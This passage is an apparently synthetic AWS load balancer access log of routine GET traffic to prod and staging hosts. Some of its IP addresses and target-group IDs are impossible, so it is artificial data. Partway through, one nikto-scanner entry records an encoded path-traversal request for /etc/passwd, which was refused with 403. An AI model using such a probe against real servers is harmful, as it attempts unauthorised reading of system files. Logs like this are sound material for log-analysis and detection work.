10.0.94.105:443 0.046882 0.409821 0.060866 200 200 209 7709 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba80-4693c7bf7236442bb4ff77d6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:32.043730Z "forward" "-" "-" "10.0.94.105:443" "200" "-" "-" -https 2024-11-01T00:12:33.043507Z staging-alb 74.241.29.130:19140 68.165.110.104:443 0.069130 0.004445 0.027907 404 404 891 13352 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba81-b1059e2a1ef24e3292d8915a" "staging-alb.example.com" "-" 1 2024-11-01T00:12:33.043507Z "forward" "-" "-" "68.165.110.104:443" "404" "-" "-" -https 2024-11-01T00:12:33.146190Z prod-api-alb 76.235.101.8:48371 10.0.33.193:443 0.090790 0.361408 0.026997 200 200 199 8960 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba81-f70363e72d2645c08bfa0c55" "prod-api-alb.example.com" "-" 0 2024-11-01T00:12:33.146190Z "forward" "-" "-" "10.0.33.193:443" "200" "-" "-" -https 2024-11-01T00:12:34.704765Z prod-api-alb 88.111.177.91:15057 10.0.206.209:443 0.082377 0.045203 0.036530 200 200 726 493 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba82-c7beff592a1d4cc6a1030aa3" "prod-api-alb.example.com" "-" 0 2024-11-01T00:12:34.704765Z "forward" "-" "-" "10.0.206.209:443" "200" "-" "-" -https 2024-11-01T00:12:35.150688Z prod-api-alb 119.49.125.220:41981 10.0.69.129:443 0.029930 0.331923 0.058980 200 200 504 10436 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba83-d13eae37c47b4f3f829c44e0" "prod-api-alb.example.com" "-" 6 2024-11-01T00:12:35.150688Z "forward" "-" "-" "10.0.69.129:443" "200" "-" "-" -https 2024-11-01T00:12:35.645055Z prod-web-alb 239.220.250.49:59640 10.0.159.5:443 0.076725 0.075909 0.096600 404 404 210 2122 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba83-cc461c427e9d4ae6a1d60e54" "prod-web-alb.example.com" "-" 0 2024-11-01T00:12:35.645055Z "forward" "-" "-" "10.0.159.5:443" "404" "-" "-" -https 2024-11-01T00:12:36.651367Z prod-api-alb 20.247.145.84:19124 10.0.172.220:443 0.006117 0.499525 0.035566 200 200 303 9576 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba84-6ff12aa51b89402ead33026d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:12:36.651367Z "forward" "-" "-" "10.0.172.220:443" "200" "-" "-" -https 2024-11-01T00:12:38.429158Z prod-api-alb 160.147.148.18:60239 10.0.106.134:443 0.084660 0.300396 0.064154 302 302 507 12950 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba86-f71aafbb489f4e7cbd693a97" "prod-api-alb.example.com" "-" 3 2024-11-01T00:12:38.429158Z "forward" "-" "-" "10.0.106.134:443" "302" "-" "-" -https 2024-11-01T00:12:39.311316Z staging-alb 110.220.26.123:10675 202.8.236.234:80 0.087393 0.073498 0.135535 200 200 756 2551 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba87-57dea7c9c1ba4a28a62f815a" "staging-alb.example.com" "-" 3 2024-11-01T00:12:39.311316Z "forward" "-" "-" "202.8.236.234:80" "200" "-" "-" -https 2024-11-01T00:12:40.519327Z staging-alb 26.90.241.51:36796 118.144.33.79:8080 0.082429 0.672756 0.013881 302 302 794 14203 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba88-da50c0d0d52442819c0ca677" "staging-alb.example.com" "-" 7 2024-11-01T00:12:40.519327Z "forward" "-" "-" "118.144.33.79:8080" "302" "-" "-" -https 2024-11-01T00:12:41.306542Z staging-alb 176.159.105.186:53015 242.80.93.213:8080 0.135667 0.301964 0.135799 200 200 906 1808 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba89-d0725c0433424a799059a42f" "staging-alb.example.com" "-" 2 2024-11-01T00:12:41.306542Z "forward" "-" "-" "242.80.93.213:8080" "200" "-" "-" -http 2024-11-01T00:12:42.997966Z staging-alb 182.8.151.215:61658 173.131.153.110:443 0.020300 0.557611 0.016234 200 200 71 8065 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba8a-75416aaff66e4cd18b55f813" "staging-alb.example.com" "-" 1 2024-11-01T00:12:42.997966Z "forward" "-" "-" "173.131.153.110:443" "200" "-" "-" -https 2024-11-01T00:12:44.107845Z prod-api-alb 74.41.203.231:25354 10.0.154.1:443 0.007254 0.476805 0.042312 200 200 941 2843 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba8c-d499e7e795494d138ead6ae4" "prod-api-alb.example.com" "-" 7 2024-11-01T00:12:44.107845Z "forward" "-" "-" "10.0.154.1:443" "200" "-" "-" -https 2024-11-01T00:12:44.654803Z prod-api-alb 253.162.241.98:29697 10.0.254.170:443 0.067724 0.403244 0.090101 301 301 913 13574 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba8c-3dcf61fabeaa4e95bcecad30" "prod-api-alb.example.com" "-" 4 2024-11-01T00:12:44.654803Z "forward" "-" "-" "10.0.254.170:443" "301" "-" "-" -https 2024-11-01T00:12:46.479351Z prod-web-alb 188.9.51.172:58861 10.0.92.178:443 0.083296 0.189983 0.042965 301 301 240 11171 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba8e-650c4ea77a4b44499da61c2d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:46.479351Z "forward" "-" "-" "10.0.92.178:443" "301" "-" "-" -https 2024-11-01T00:12:48.063691Z staging-alb 159.206.238.46:57278 173.213.212.122:8080 0.067998 0.662141 0.038026 302 302 88 5787 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba90-fce5c178bb534279a4ca664c" "staging-alb.example.com" "-" 6 2024-11-01T00:12:48.063691Z "forward" "-" "-" "173.213.212.122:8080" "302" "-" "-" -https 2024-11-01T00:12:48.191189Z prod-web-alb 144.2.96.217:50270 10.0.172.241:443 0.031329 0.091171 0.097430 200 200 495 1972 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba90-0cb5d0cd38054c4cb98e2d89" "prod-web-alb.example.com" "-" 10 2024-11-01T00:12:48.191189Z "forward" "-" "-" "10.0.172.241:443" "200" "-" "-" -https 2024-11-01T00:12:49.609912Z prod-api-alb 217.221.62.236:21934 10.0.173.98:443 0.063488 0.043789 0.038633 301 301 859 2760 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba91-5149bd4022e6439bbfb90e72" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:49.609912Z "forward" "-" "-" "10.0.173.98:443" "301" "-" "-" -https 2024-11-01T00:12:50.395449Z prod-web-alb 9.55.56.106:19164 10.0.74.237:443 0.077919 0.432779 0.021684 302 302 661 11396 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba92-39f7f94f597f45c5b9f4746f" "prod-web-alb.example.com" "-" 4 2024-11-01T00:12:50.395449Z "forward" "-" "-" "10.0.74.237:443" "302" "-" "-" -http 2024-11-01T00:12:51.046012Z staging-alb 99.65.61.63:33303 69.109.32.48:443 0.059252 0.369582 0.022506 200 200 109 14377 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba93-5a5e4a1ba50a4707adbda52f" "staging-alb.example.com" "-" 8 2024-11-01T00:12:51.046012Z "forward" "-" "-" "69.109.32.48:443" "200" "-" "-" -http 2024-11-01T00:12:52.651600Z staging-alb 190.93.110.124:37615 165.149.250.86:443 0.128553 0.304115 0.025323 301 301 714 1742 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba94-8cca21ee107f442388bd200c" "staging-alb.example.com" "-" 2 2024-11-01T00:12:52.651600Z "forward" "-" "-" "165.149.250.86:443" "301" "-" "-" -https 2024-11-01T00:12:53.861398Z prod-web-alb 239.9.72.191:19190 10.0.77.159:443 0.070855 0.187384 0.022177 200 200 354 5028 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba95-8f6a85cc00c5407ba65429e9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:12:53.861398Z "forward" "-" "-" "10.0.77.159:443" "200" "-" "-" -https 2024-11-01T00:12:54.221735Z prod-web-alb 227.202.58.41:24675 10.0.118.150:443 0.029364 0.245361 0.035259 200 200 561 12614 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba96-635f7eef3488451faedf6105" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:54.221735Z "forward" "-" "-" "10.0.118.150:443" "200" "-" "-" -https 2024-11-01T00:12:55.256810Z prod-web-alb 80.183.74.159:19014 10.0.100.49:443 0.029032 0.361511 0.036568 404 404 63 3464 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba97-ad8c04ab717b4c2ea1cba25d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:12:55.256810Z "forward" "-" "-" "10.0.100.49:443" "404" "-" "-" -https 2024-11-01T00:12:55.661002Z prod-web-alb 48.156.105.43:19246 10.0.199.234:443 0.063344 0.298249 0.008558 302 302 129 13310 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba97-5298a42d3e2b4f6c9ed17f61" "prod-web-alb.example.com" "-" 8 2024-11-01T00:12:55.661002Z "forward" "-" "-" "10.0.199.234:443" "302" "-" "-" -https 2024-11-01T00:12:56.374163Z prod-api-alb 112.215.219.44:61270 10.0.91.151:443 0.068616 0.423627 0.032385 200 200 276 1414 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba98-a34bb5d865a1425e89ceda6a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:12:56.374163Z "forward" "-" "-" "10.0.91.151:443" "200" "-" "-" -https 2024-11-01T00:12:57.014050Z prod-web-alb 209.177.240.13:54895 10.0.85.55:443 0.035891 0.470179 0.020569 200 200 372 3313 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba99-47657a9a7277401480a3fddd" "prod-web-alb.example.com" "-" 2 2024-11-01T00:12:57.014050Z "forward" "-" "-" "10.0.85.55:443" "200" "-" "-" -http 2024-11-01T00:12:57.633721Z staging-alb 28.250.222.94:21921 46.247.224.195:443 0.101468 0.573761 0.019680 200 200 804 7537 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba99-dde6c250f22d4deb85db6405" "staging-alb.example.com" "-" 7 2024-11-01T00:12:57.633721Z "forward" "-" "-" "46.247.224.195:443" "200" "-" "-" -https 2024-11-01T00:12:57.971552Z prod-api-alb 229.29.89.20:33116 10.0.144.234:443 0.094268 0.379316 0.034766 200 200 817 5168 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba99-acd3e4275d4140fd904b8597" "prod-api-alb.example.com" "-" 1 2024-11-01T00:12:57.971552Z "forward" "-" "-" "10.0.144.234:443" "200" "-" "-" -https 2024-11-01T00:12:58.878669Z prod-api-alb 98.188.80.0:55419 10.0.159.53:443 0.018437 0.123456 0.059643 301 301 392 9482 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba9a-0e57983c70d1434ea389f75f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:12:58.878669Z "forward" "-" "-" "10.0.159.53:443" "301" "-" "-" -https 2024-11-01T00:12:58.991494Z prod-api-alb 108.226.37.182:20741 10.0.169.20:443 0.080110 0.010462 0.086592 200 200 902 3683 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba9a-a565e09a10b84aa380b77ac5" "prod-api-alb.example.com" "-" 8 2024-11-01T00:12:58.991494Z "forward" "-" "-" "10.0.169.20:443" "200" "-" "-" -https 2024-11-01T00:13:00.254342Z prod-web-alb 154.91.109.84:38296 10.0.216.158:443 0.099299 0.203858 0.072505 301 301 401 13577 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba9c-a472a6557ca144089050ee35" "prod-web-alb.example.com" "-" 6 2024-11-01T00:13:00.254342Z "forward" "-" "-" "10.0.216.158:443" "301" "-" "-" -https 2024-11-01T00:13:02.106473Z prod-web-alb 191.193.200.234:50934 10.0.225.186:443 0.013245 0.021398 0.087325 302 302 710 10523 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba9e-67abb96c7d29408aa09a54ea" "prod-web-alb.example.com" "-" 0 2024-11-01T00:13:02.106473Z "forward" "-" "-" "10.0.225.186:443" "302" "-" "-" -https 2024-11-01T00:13:03.204448Z prod-api-alb 45.155.205.19:15429 10.0.220.39:443 0.078853 0.278003 0.087638 403 403 386 8221 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba9f-d7cfe14eb52948779a2ece77" "-" "-" 7 2024-11-01T00:13:03.204448Z "forward" "-" "-" "10.0.220.39:443" "403" "-" "-" -https 2024-11-01T00:13:05.129226Z prod-api-alb 207.88.59.27:42058 10.0.237.109:443 0.083697 0.229595 0.054927 301 301 348 11315 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baa1-1b672f45888640bfa4b52b8f" "-" "-" 10 2024-11-01T00:13:05.129226Z "forward" "-" "-" "10.0.237.109:443" "301" "-" "-" -https 2024-11-01T00:13:06.728419Z staging-alb 87.131.36.165:50040 222.239.89.170:8080 0.086284 0.052961 0.013038 302 302 935 6894 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa2-19ddb52c716d490ca7826c95" "staging-alb.example.com" "-" 3 2024-11-01T00:13:06.728419Z "forward" "-" "-" "222.239.89.170:8080" "302" "-" "-" -https 2024-11-01T00:13:08.510637Z prod-api-alb 145.100.222.110:59757 10.0.81.230:443 0.013578 0.071188 0.036805 200 200 761 4381 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723baa4-5e1a7d5164ca41bbb46a194d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:13:08.510637Z "forward" "-" "-" "10.0.81.230:443" "200" "-" "-" -https 2024-11-01T00:13:09.606296Z staging-alb 255.3.3.250:27575 21.181.37.148:443 0.007244 0.063724 0.108690 404 404 651 6776 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723baa5-e0d187a65dc141e7949561f5" "staging-alb.example.com" "-" 9 2024-11-01T00:13:09.606296Z "forward" "-" "-" "21.181.37.148:443" "404" "-" "-" -https 2024-11-01T00:13:10.098010Z prod-web-alb 66.222.206.239:60197 10.0.126.60:443 0.025611 0.482846 0.052162 200 200 135 225 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baa6-b66cef2c21a64c769d4e77ff" "prod-web-alb.example.com" "-" 9 2024-11-01T00:13:10.098010Z "forward" "-" "-" "10.0.126.60:443" "200" "-" "-" -https 2024-11-01T00:13:10.541955Z prod-web-alb 199.0.42.218:28555 10.0.199.157:443 0.020696 0.035343 0.023524 200 200 886 11911 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baa6-e7c1c71b9527467d8857312b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:13:10.541955Z "forward" "-" "-" "10.0.199.157:443" "200" "-" "-" -http 2024-11-01T00:13:10.791065Z staging-alb 27.133.218.100:60782 131.222.152.186:80 0.050663 0.201664 0.026571 200 200 304 12057 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa6-ebddd4dba0664e39ba920007" "staging-alb.example.com" "-" 1 2024-11-01T00:13:10.791065Z "forward" "-" "-" "131.222.152.186:80" "200" "-" "-" -http 2024-11-01T00:13:11.820661Z staging-alb 226.107.79.15:19329 28.58.0.61:8080 0.028641 0.451733 0.013229 200 200 56 7245 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa7-8a96c8ae7f7644938bcb33e8" "staging-alb.example.com" "-" 2 2024-11-01T00:13:11.820661Z "forward" "-" "-" "28.58.0.61:8080" "200" "-" "-" -https 2024-11-01T00:13:13.705135Z staging-alb 48.120.41.92:23966 17.186.190.157:443 0.045967 0.679144 0.126014 200 200 25 780 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baa9-27b56b8594e74a46b70f7393" "staging-alb.example.com" "-" 5 2024-11-01T00:13:13.705135Z "forward" "-" "-" "17.186.190.157:443" "200" "-" "-" -https 2024-11-01T00:13:14.383426Z prod-web-alb 81.252.220.139:59200 10.0.114.95:443 0.064582 0.104755 0.072397 302 302 478 8453 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723baaa-280c20b95c6f473286c611c3" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:14.383426Z "forward" "-" "-" "10.0.114.95:443" "302" "-" "-" -https 2024-11-01T00:13:16.228293Z prod-web-alb 245.243.243.231:30625 10.0.233.29:443 0.021751 0.486936 0.054749 404 404 174 575 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723baac-b72af6dd50a84114abcce183" "prod-web-alb.example.com" "-" 1 2024-11-01T00:13:16.228293Z "forward" "-" "-" "10.0.233.29:443" "404" "-" "-" -https 2024-11-01T00:13:17.120080Z staging-alb 21.249.217.177:41505 87.39.233.112:80 0.038175 0.126150 0.056786 200 200 598 11497 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723baad-9e369ad7ae4e4a19b8ca4ec6" "staging-alb.example.com" "-" 1 2024-11-01T00:13:17.120080Z "forward" "-" "-" "87.39.233.112:80" "200" "-" "-" -https 2024-11-01T00:13:17.700986Z prod-api-alb 80.181.142.154:23363 10.0.225.168:443 0.014592 0.203592 0.033178 302 302 408 930 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723baad-3df1eede8d5a4f5586882bb4" "prod-api-alb.example.com" "-" 6 2024-11-01T00:13:17.700986Z "forward" "-" "-" "10.0.225.168:443" "302" "-" "-" -https 2024-11-01T00:13:18.134315Z prod-api-alb 180.58.30.134:55590 10.0.191.59:443 0.057512 0.016620 0.065138 200 200 716 7694 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 